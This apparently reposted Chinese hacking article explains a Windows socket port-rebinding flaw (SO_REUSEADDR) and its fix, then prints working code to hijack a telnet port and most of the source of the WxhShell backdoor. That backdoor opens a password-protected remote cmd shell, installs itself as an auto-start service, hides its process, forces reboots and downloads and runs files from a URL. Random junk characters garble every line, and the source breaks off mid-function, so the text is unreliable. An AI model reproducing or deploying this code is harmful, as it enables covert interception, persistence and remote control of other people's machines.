在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/De~K+w7o s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
CpmT* `H6~<9r saddr.sin_family = AF_INET;
3>-h-
cpMX #$-E5R;x saddr.sin_addr.s_addr = htonl(INADDR_ANY);
- ~|Gwr" %&yPl{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
)\=xPfs w+R7NFq 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>e>3:~&2 NeG`D' 这意味着什么?意味着可以进行如下的攻击:
Q`<{cFsU xlS*9>Ij 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
f4b9o[,s2e P .m@|w&.K 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
.Mb[j1L^ ur\6~'l4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
dY S(}U !T][c~l 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
3@Mh* \;\b )ZpI%M?) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
tLTavE[@ &Y=0 0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
=+Fb\HvX{
r!?ga 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
(Z(S?`') $M 8&&M #include
>ep<W<b #include
31a,i2Q4 #include
\X:e9~ #include
oT):#,s DWORD WINAPI ClientThread(LPVOID lpParam);
M}x%'=Pox int main()
**Ioy+ {
iVI& WORD wVersionRequested;
su1lv# DWORD ret;
p)yP_P WSADATA wsaData;
heCM+=#~ BOOL val;
OL>>/T SOCKADDR_IN saddr;
*x|%Nua" SOCKADDR_IN scaddr;
7@fS2mu int err;
#5@(^N5p` SOCKET s;
lx%c&~.DiB SOCKET sc;
M\C9^DX{ int caddsize;
Nrr})
g HANDLE mt;
Ak9{P` DWORD tid;
T,pr&1]Lw wVersionRequested = MAKEWORD( 2, 2 );
/GIGE##1F err = WSAStartup( wVersionRequested, &wsaData );
THp_ dTD if ( err != 0 ) {
Nh.+woFq4 printf("error!WSAStartup failed!\n");
{Ya$Q#l return -1;
Uz^N6q }
(BVqmi{ saddr.sin_family = AF_INET;
C
e-ru) tb+gCs'D //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
(XO=W+<' h9H z6
> saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
4d@yAr} saddr.sin_port = htons(23);
DWt|lO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
K6IT$$g {
.[O{,r printf("error!socket failed!\n");
lPR=C0h}@ return -1;
szsVk#p }
9&eY<'MgP val = TRUE;
c`!e#w //SO_REUSEADDR选项就是可以实现端口重绑定的
\34vE@V* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@ep.wW {
N>H@vt~ printf("error!setsockopt failed!\n");
3U@jw,K!{A return -1;
]<>cjk.ya }
=6[.||9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
u?Ffqt9' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
?s^qWA //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
)j36Y =r3 ,<rC,4-F< if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
h+Co:pr {
*/;7Uv7 ret=GetLastError();
M*zpl} printf("error!bind failed!\n");
\G gh 95y return -1;
OTXZdAv }
Ib# -M;{ listen(s,2);
bej(Ds0 while(1)
]->"4,} {
el9P@r0 caddsize = sizeof(scaddr);
gZ,h95' //接受连接请求
r N$0qo sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
g-sNYd%?a if(sc!=INVALID_SOCKET)
/4an@5.\C {
p3=Py7iz mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
m)tu~neM if(mt==NULL)
JQ1MuE' {
MbRTOH printf("Thread Creat Failed!\n");
oe*1jR_J`[ break;
t eY@)F }
zEI+)|4?r }
9&Jf4lC94 CloseHandle(mt);
`}Zqmfs }
5qz,FKx5 closesocket(s);
QRQZ{m WSACleanup();
9eMle?pF return 0;
G"<#tif9K }
7?Wte&C];p DWORD WINAPI ClientThread(LPVOID lpParam)
..)J6L5l {
$l]:2!R SOCKET ss = (SOCKET)lpParam;
qIi
\[Ugh SOCKET sc;
k H.dtg_ unsigned char buf[4096];
r:g\ SOCKADDR_IN saddr;
T8o](:B~ long num;
~Gu$EqQ DWORD val;
fqgp{(`@> DWORD ret;
6gV*G //如果是隐藏端口应用的话,可以在此处加一些判断
#r'MfTr //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&b} \).5E saddr.sin_family = AF_INET;
uHg q"e saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
LiG$M{ 0 saddr.sin_port = htons(23);
&i5@4,p y9 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
e|]e\Or> {
Jl{ 0q7b printf("error!socket failed!\n");
W+ S~__K return -1;
+S4n416K }
io4<HN val = 100;
Cyg2o<O@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
) E^S+ps {
[YOH'i&X ret = GetLastError();
Z`S#> o return -1;
w2DC5ei' }
ix!xLm9\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m/=nz. {
A=N$5ZJ ret = GetLastError();
+RooU?Aq return -1;
7:jLZ!mgi }
CP7dn/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
C"I
jr=w {
sW]_Ky.] printf("error!socket connect failed!\n");
s)1-xA{'. closesocket(sc);
=)Xj[NNRT closesocket(ss);
g:Hj1!' return -1;
6("_}9ZOc }
?:"ABkL|+Y while(1)
6
VEB2F {
n28JWkK8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
[dJ!JT/X{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
rwP#Yj[BK+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
I"Zp^j num = recv(ss,buf,4096,0);
w(oK if(num>0)
WNyW1?" send(sc,buf,num,0);
[}L~zn6>?a else if(num==0)
HRf;bKZ break;
S/]\GG{ num = recv(sc,buf,4096,0);
[HILK`@@ if(num>0)
FIq'W:q: send(ss,buf,num,0);
*#=Ij r~ else if(num==0)
nR_Zrm break;
nfEbu4| }
W==~9 closesocket(ss);
2R/|/>T v closesocket(sc);
F1Z'tjj+ return 0 ;
LF7-??' }
_uIS[%4g FZi@h Sm'Tz&! ==========================================================
CRb*sfKDL Z
[!"x&H]h 下边附上一个代码,,WXhSHELL
-#Z df| ^DYS~I%s ==========================================================
5$9$R(KU *&_*G~>D #include "stdafx.h"
]+D@E2E rB[J*5v #include <stdio.h>
!Z$d<~Mq q #include <string.h>
:;{M0 #include <windows.h>
Btm,'kBG #include <winsock2.h>
9j2t|D4uT #include <winsvc.h>
SQN?[v #include <urlmon.h>
rpow@@ad< Z[?n{vD7 #pragma comment (lib, "Ws2_32.lib")
D3o,2E(o #pragma comment (lib, "urlmon.lib")
> 80{n8 /!5Wd(: #define MAX_USER 100 // 最大客户端连接数
s)-oCT$[ #define BUF_SOCK 200 // sock buffer
B>2R-pa4~ #define KEY_BUFF 255 // 输入 buffer
&S >{9y% zdYH9d>D #define REBOOT 0 // 重启
p2STy\CS #define SHUTDOWN 1 // 关机
h@%Xy(/m' 6 >kU Lp #define DEF_PORT 5000 // 监听端口
)-2Nc7 C~En0 G1 #define REG_LEN 16 // 注册表键长度
3aqH!?rVU #define SVC_LEN 80 // NT服务名长度
aXe&c^AR NUsxMhP // 从dll定义API
;.}L#'0j typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+x%u?ZR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&_L@hsm typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
KIF9[/P typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
x9l7|G/$ tYjG8P# // wxhshell配置信息
}_+XN"}C struct WSCFG {
!*#9b int ws_port; // 监听端口
[Sm<X char ws_passstr[REG_LEN]; // 口令
MLDzWZ~}ef int ws_autoins; // 安装标记, 1=yes 0=no
<6Q^o[L char ws_regname[REG_LEN]; // 注册表键名
w"R<8e= char ws_svcname[REG_LEN]; // 服务名
%-n)L char ws_svcdisp[SVC_LEN]; // 服务显示名
Z)rW>I
char ws_svcdesc[SVC_LEN]; // 服务描述信息
Ks.b).fH char ws_passmsg[SVC_LEN]; // 密码输入提示信息
](r}`u%}y int ws_downexe; // 下载执行标记, 1=yes 0=no
Hx#YN*\.M char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?}HK!feU char ws_filenam[SVC_LEN]; // 下载后保存的文件名
j yHa}OT S!?T0c?> };
:;%Jm BE?]P?r? // default Wxhshell configuration
pCKP{c=6Q struct WSCFG wscfg={DEF_PORT,
/2K"Mpf8 "xuhuanlingzhe",
K6v~!iiK$ 1,
I\)`,w "Wxhshell",
KXt8IMP_"y "Wxhshell",
%vmd2}dA "WxhShell Service",
A?YYR%o%' "Wrsky Windows CmdShell Service",
3BMz{ny= "Please Input Your Password: ",
rNN>tpZ} 1,
8Ths"zwn "
http://www.wrsky.com/wxhshell.exe",
5:@bNNX'j "Wxhshell.exe"
?mH=3
:~ };
Y:\msq1xp mEY#QN[eq // 消息定义模块
PD&e6;rj; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
HoQb.Z char *msg_ws_prompt="\n\r? for help\n\r#>";
YIe1AF} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ZF7@ b/-me char *msg_ws_ext="\n\rExit.";
k3Yu"GY^ char *msg_ws_end="\n\rQuit.";
8qe[x\,"8 char *msg_ws_boot="\n\rReboot...";
vj?{={Y char *msg_ws_poff="\n\rShutdown...";
1<!P:@( char *msg_ws_down="\n\rSave to ";
!U`4 h"[B zX char *msg_ws_err="\n\rErr!";
cK$yr)7 char *msg_ws_ok="\n\rOK!";
xkSX KR G$C2?|V)= char ExeFile[MAX_PATH];
S1=P-Ao int nUser = 0;
_T)y5/[ HANDLE handles[MAX_USER];
?_ H9>/:. int OsIsNt;
,6+joKe- dgVGP_~ SERVICE_STATUS serviceStatus;
DAw1S$dM SERVICE_STATUS_HANDLE hServiceStatusHandle;
BK!Yl\I< &4%pPL\f // 函数声明
dS1HA>c)O int Install(void);
Dl>tF?= int Uninstall(void);
J4qk^1m. int DownloadFile(char *sURL, SOCKET wsh);
5o6IpF0V int Boot(int flag);
hb3n-
rO void HideProc(void);
*f+s int GetOsVer(void);
uEgR>X> int Wxhshell(SOCKET wsl);
o)I)I/v void TalkWithClient(void *cs);
?+}Su'pv} int CmdShell(SOCKET sock);
9a_P 9s3w int StartFromService(void);
Yc#Uu8f- int StartWxhshell(LPSTR lpCmdLine);
9R=avfI ZA=J`->k VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
h2Q'5G VOID WINAPI NTServiceHandler( DWORD fdwControl );
I"&cr>\ {\>4)TA // 数据结构和表定义
KS_+R@3Z SERVICE_TABLE_ENTRY DispatchTable[] =
&N.pW=%,N {
;0eVE {wscfg.ws_svcname, NTServiceMain},
8~!E.u9w {NULL, NULL}
KR.;X3S} };
a
4?A 5 aR2N,<Cp5 // 自我安装
x}2nn)fdZ int Install(void)
SkDr4kds {
@!iS`u char svExeFile[MAX_PATH];
(MXy\b< HKEY key;
Oti;wf G7o strcpy(svExeFile,ExeFile);
WB:0}b0Gu jr6 0;oK+ // 如果是win9x系统,修改注册表设为自启动
]t<=a6<P if(!OsIsNt) {
&A
s>Y,y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
EC,,l'%a|/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
hk
!=ZE3 RegCloseKey(key);
;Tbo \Wp9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]]p\1G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*k(FbZ RegCloseKey(key);
S$b)X"h return 0;
8*-)[+s9il }
,Ee5}#dI }
DT-.Gdb8 }
u-~ec{oBu else {
DVd8Ix <
";.j[p:gi // 如果是NT以上系统,安装为系统服务
Hec8pL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
WSpF/Wwc if (schSCManager!=0)
-UEi {
AYf}=t| SC_HANDLE schService = CreateService
|6So$;` (
|>}CoR7 schSCManager,
ztU"CRa8 wscfg.ws_svcname,
qX}3}TL wscfg.ws_svcdisp,
bB4FjC': SERVICE_ALL_ACCESS,
2>jk@~Z1:u SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
6zM:p/ SERVICE_AUTO_START,
:[@rA;L SERVICE_ERROR_NORMAL,
/J^dzvH svExeFile,
23CvfP NULL,
tE0{ae NULL,
Nd(3q]{ NULL,
+VVn@=&? NULL,
">T\]V$R NULL
K2*rqg );
IWYQ67Yj if (schService!=0)
k*_Gg {
'n h^; CloseServiceHandle(schService);
O#.YTTj CloseServiceHandle(schSCManager);
=?|$}vDO[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
pbKmFweq strcat(svExeFile,wscfg.ws_svcname);
v,n 8$, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
:G6CWE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Fepsa;\sU RegCloseKey(key);
ksq4t return 0;
n\;;T1rM }
pYcs4f!?p }
#j7&2L CloseServiceHandle(schSCManager);
Zf>:h }
[%^0L~: }
QE/kR!r
/- Gq`9Z return 1;
\asn^V@"zz }
2lfEJw($ M*k,M=sX // 自我卸载
VMABj\yG int Uninstall(void)
Uic {
aMu6{u6 HKEY key;
gjsks(x 7 Td
9mkO if(!OsIsNt) {
S\ak(<X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
tRPIvq/ RegDeleteValue(key,wscfg.ws_regname);
sm"Rp~[i RegCloseKey(key);
5~pxu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
kmW/{I9,ua RegDeleteValue(key,wscfg.ws_regname);
6`-<N ! RegCloseKey(key);
Yv=L'0K& return 0;
:UT\L2 q= }
Qz=e'H }
4wv0~T$;x }
X:t?'41m\ else {
P7>\j*U91{ ,#N}Ni: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~NE`Ad.G if (schSCManager!=0)
6
JI8l`S {
;a|%W4 " SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
0++RxYFCL if (schService!=0)
`Cd! {
)
YB'W_ if(DeleteService(schService)!=0) {
Q|[^dju CloseServiceHandle(schService);
q-^{2.ftcx CloseServiceHandle(schSCManager);
!]?kvf-3e return 0;
!'!\>x$ }
1Ov oW Nx CloseServiceHandle(schService);
\DlMOG }
#-b}QhxH CloseServiceHandle(schSCManager);
a`:F07r }
xrXfZ>$5bM }
^PC;fn,I
cY+fZ= return 1;
x _kT
Wq }
Z;NaIJiL- Eve,*ATI // 从指定url下载文件
yOD=Vc7i int DownloadFile(char *sURL, SOCKET wsh)
zA?AX1%Wa {
3u t<o- HRESULT hr;
s/t,6-~EH char seps[]= "/";
zk1]? char *token;
ZUj1vf6I char *file;
\0Xq&CG=E char myURL[MAX_PATH];
#'@@P6o5 char myFILE[MAX_PATH];
2f{p$YIt ]w,|WZm strcpy(myURL,sURL);
vH}VieU token=strtok(myURL,seps);
5GPrZY" while(token!=NULL)
6Ik
v}q_j {
hVyeHbx file=token;
``]NB=N}{1 token=strtok(NULL,seps);
ltrti.& }
w_"-rGV uzb|yV'B GetCurrentDirectory(MAX_PATH,myFILE);
} PL{i strcat(myFILE, "\\");
#lik: ? strcat(myFILE, file);
:RDk{^b) send(wsh,myFILE,strlen(myFILE),0);
5w~ 0Q send(wsh,"...",3,0);
1fV)tvU$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
N,8.W"fV if(hr==S_OK)
E|oOd<z return 0;
3xRn else
a;a1>1 return 1;
}s"].Xm^2 C \5yo }
nxEC6Vh' b%x=7SMXO // 系统电源模块
XL44pE
m int Boot(int flag)
`c^">L {
[uJS.`b HANDLE hToken;
)x?)v#k TOKEN_PRIVILEGES tkp;
W@zxGH$z> 2^=.f?_YR if(OsIsNt) {
Ll%}nti OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6uUzky LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
} gwfe
H tkp.PrivilegeCount = 1;
JoG(Nk] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
E:B<_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
t@ri`?0w if(flag==REBOOT) {
F_ -Xx" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
1Ke9H!_P return 0;
dEI!r1~n }
[_ uT+q3 else {
GbQg(%2F if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
hAds15 %C return 0;
Pd;8<UMk }
x1Z'_Qw }
7$Wbf4 else {
?MfwRWY if(flag==REBOOT) {
![4_K':= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
OaT]2o return 0;
}fef* >>} }
5zZQt+Ip else {
BhjDyB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
BaUuDo/ZO return 0;
Q t>|TGz }
uK#2vgT }
u] G `SZ-o{ return 1;
r?
}|W2^% }
eA``fpr ePR9r} // win9x进程隐藏模块
j4`+RS+q void HideProc(void)
9D,!] {
j,9/eZRZ G pO*As_2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
6#qt%t%?D if ( hKernel != NULL )
1A*
"v {
b5.]}>]t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
R?#=^ $7U ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
|+[Y_j FreeLibrary(hKernel);
GJU9[ }
q<^MC/] 9;9ge return;
g HxR w }
E{^W- a3A3mBw // 获取操作系统版本
e7-IqQA{3C int GetOsVer(void)
tv~Y5e&8 {
oxUBlye OSVERSIONINFO winfo;
py%~Qz% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
'R-g:X\{ GetVersionEx(&winfo);
f`}/^*D if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
UKTfLh return 1;
%2B1E( r%M else
/2*BdE[yG return 0;
|TQ4:P1T }
=\MAz[IDj mQSn*;9\T3 // 客户端句柄模块
)%kiM<}) int Wxhshell(SOCKET wsl)
d0Ubt {
M} ri>o SOCKET wsh;
d.Ccc/1- struct sockaddr_in client;
Wi,)a{ DWORD myID;
G^.tAO5:f >lyE@S sA while(nUser<MAX_USER)
-eD]gm {
}J-e:FUF# int nSize=sizeof(client);
1_;{1O+B wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
*(5T?p[7 if(wsh==INVALID_SOCKET) return 1;
D#`>p 0%q H=do6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
se]&)%p[ if(handles[nUser]==0)
f+1'Ah0'E closesocket(wsh);
p*T[(\8{n else
E="uDHw+ nUser++;
EDh-pK }
9HPwl WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
LCzeE7x 5')]Y1J return 0;
xsy45az<ip }
IDpx_ Bga4kjfmk // 关闭 socket
L.JL4;U P void CloseIt(SOCKET wsh)
\D]9:BNJ {
vSv1FZu* closesocket(wsh);
bR:hu}YS nUser--;
gNDMJ^` ExitThread(0);
t.
(6tL] }
p-w:l*-` yOAC<<Tzus // 客户端请求句柄
Mc(|+S@w' void TalkWithClient(void *cs)
PRFl%M.H` {
3Z`
wU 6V@_?a-K SOCKET wsh=(SOCKET)cs;
[f[Wz{Q#Y char pwd[SVC_LEN];
M"qS#*{ char cmd[KEY_BUFF];
T5I#7LN# char chr[1];
a<E9@ int i,j;
P3Vh|<'7 vM$hCV~N while (nUser < MAX_USER) {
>,_0Mem2Rr 8$Zwk7 w8A if(wscfg.ws_passstr) {
m~P30) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=w"Kkj>%oh //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/;[x3}[ //ZeroMemory(pwd,KEY_BUFF);
c^puz2 i=0;
&"27U while(i<SVC_LEN) {
_V0%JE' D:z_FNN // 设置超时
R?tjobk! fd_set FdRead;
+ 660/ e8N struct timeval TimeOut;
(ov&iNx FD_ZERO(&FdRead);
"!eq~/nk FD_SET(wsh,&FdRead);
`CBXz!v!O TimeOut.tv_sec=8;
o61rTj TimeOut.tv_usec=0;
fgC@(dvfk int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Q00v(6V46 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:("@U, sX*L[3!vN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
EwuRIe;D pwd
=chr[0]; /& c2y=/'C
if(chr[0]==0xd || chr[0]==0xa) { $<&_9T#&w
pwd=0; G%zJ4W%
break; N[fwd=$\#
} M&gi$Qs[E
i++; T/ eX7p1
} W2zG"Q
$;~YgOVZ5
// 如果是非法用户,关闭 socket P|p
X
F~
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =K|#5p`
} C@zG(?X
N^PkSf[)h5
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @$;8k }
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =VT\$
5A
;_|4c7
while(1) { 6U$e;cr6
\Y8 sIs
ZeroMemory(cmd,KEY_BUFF); ]>*VEe}hJ
piuM#+Y\'S
// 自动支持客户端 telnet标准 'O.f}m SS
j=0; &
BY\h:
while(j<KEY_BUFF) { %4V$')rek
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "9"
cmd[j]=chr[0]; %B1)m A;
if(chr[0]==0xa || chr[0]==0xd) { jENC1T(
cmd[j]=0; ?E}gm>
break; )UTjP/\gN
} Ht/#d6cQ
j++; w:iMrQeJg
} r ?<kWR?w
Gr)G-zE
// 下载文件 %X}vuE[[UC
if(strstr(cmd,"http://")) { j8PeO&n>
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4GG>n
if(DownloadFile(cmd,wsh)) #n15_cd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SD:`l<l
else ^q0`eS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qN9 ?$\
} F7nwVDc*
else { }A;YM1^$
F< 5kcu#iL
switch(cmd[0]) { 4<)*a]\c5M
`-R&4%t%
// 帮助 v}D0t]
case '?': { *QIYq
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wJp1Fl~
break; I|>.&nb
} J7aYi]vI
// 安装 pFZ$z?lI
case 'i': { gyV`]uqG
if(Install()) 7N@[Rtv
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
NXDkGO/*
else [wiB1{/Ls.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UL#:!J/34
break; 2Oyw#1tdn
} quC$<Y
// 卸载 1@|%{c&+9
case 'r': { m']$)Iqw
if(Uninstall()) }u$c*}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4GeN<9~YS
else t%5bDdo
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [e@m-/B
break; *qAG0EM|
} vWrTB
// 显示 wxhshell 所在路径 ?EPHq,
E
case 'p': { WS(m#WFQr
char svExeFile[MAX_PATH]; f8=qnY2j
strcpy(svExeFile,"\n\r"); d#$Pf=}
strcat(svExeFile,ExeFile); 5L~lF8
send(wsh,svExeFile,strlen(svExeFile),0); IMMsOl
break; xfC$u`e=
} >.9V`m|
// 重启 &V SZ
case 'b': { Kb;Pd!Q
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wgolgof
if(Boot(REBOOT)) r&+C%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9(}d7y
else { IR:{ { (
closesocket(wsh); I@O9bxR?
ExitThread(0); P?c V d2Y
} <1m`
break; o"L8n(\
} *n#
=3D
// 关机 @JLN3
case 'd': { }NGP!
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x?u@
j7[
if(Boot(SHUTDOWN)) S?a4IK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iC^91!<
else { w`+-xT%
closesocket(wsh); 2J$vX(
ExitThread(0); '+j;g
} w^ofH-R/
break; aaN/HE_
} .3n\~Sn
// 获取shell i O? f&u
case 's': { $UK m[:7
CmdShell(wsh); ?$tD
closesocket(wsh); L]"$dF
ExitThread(0); b\o>4T
break; 3XQe? 2:<
} 5 $$Cav
// 退出 X%JyC_~<
case 'x': { ].aFdy
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AcH!KbYf
CloseIt(wsh); I*(kv7(c0
break; n_ ?+QF
} M6qNh`+HO
// 离开 G,^ ?qbHg
case 'q': { m^m=/'<+
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^-mW k?>
closesocket(wsh); n+Conp/
WSACleanup(); 9mv0} I
exit(1); %{cVG-<_iz
break; #Z
`Tk)u/
} omy3<6
} (a-Lx2 T
} 99By.+~pX
O0`ofFN
// 提示信息 AFvv+
ss
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5rCJIl.
} M2d&7>N
} qTwl\dcncC
i[FYR;C
return; tSoF!@6
} y:$qX*+9e
9,\AAISi
// shell模块句柄 q+<,FdG
int CmdShell(SOCKET sock)
$?gKIv>g
{ r2i]9>w
STARTUPINFO si; /YJBRU2
ZeroMemory(&si,sizeof(si)); J&JZYuuf
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @W
@,8e]c
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zw$\d1-+h
PROCESS_INFORMATION ProcessInfo; mJ5%+.V
char cmdline[]="cmd"; V6((5o#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I!u=.[5zdC
return 0;
&0|Z FXPd
} 1uG)U)y/Q
Fn4yx~0
// 自身启动模式 &?5)Jis:
int StartFromService(void) {YrA[9
{ P0OMu/
typedef struct >t'A1`W
{ O&;d8 2IA{
DWORD ExitStatus; K]M@t=
DWORD PebBaseAddress; /?XI,#j3kM
DWORD AffinityMask; "zTy_0[;
DWORD BasePriority; h&d"| <
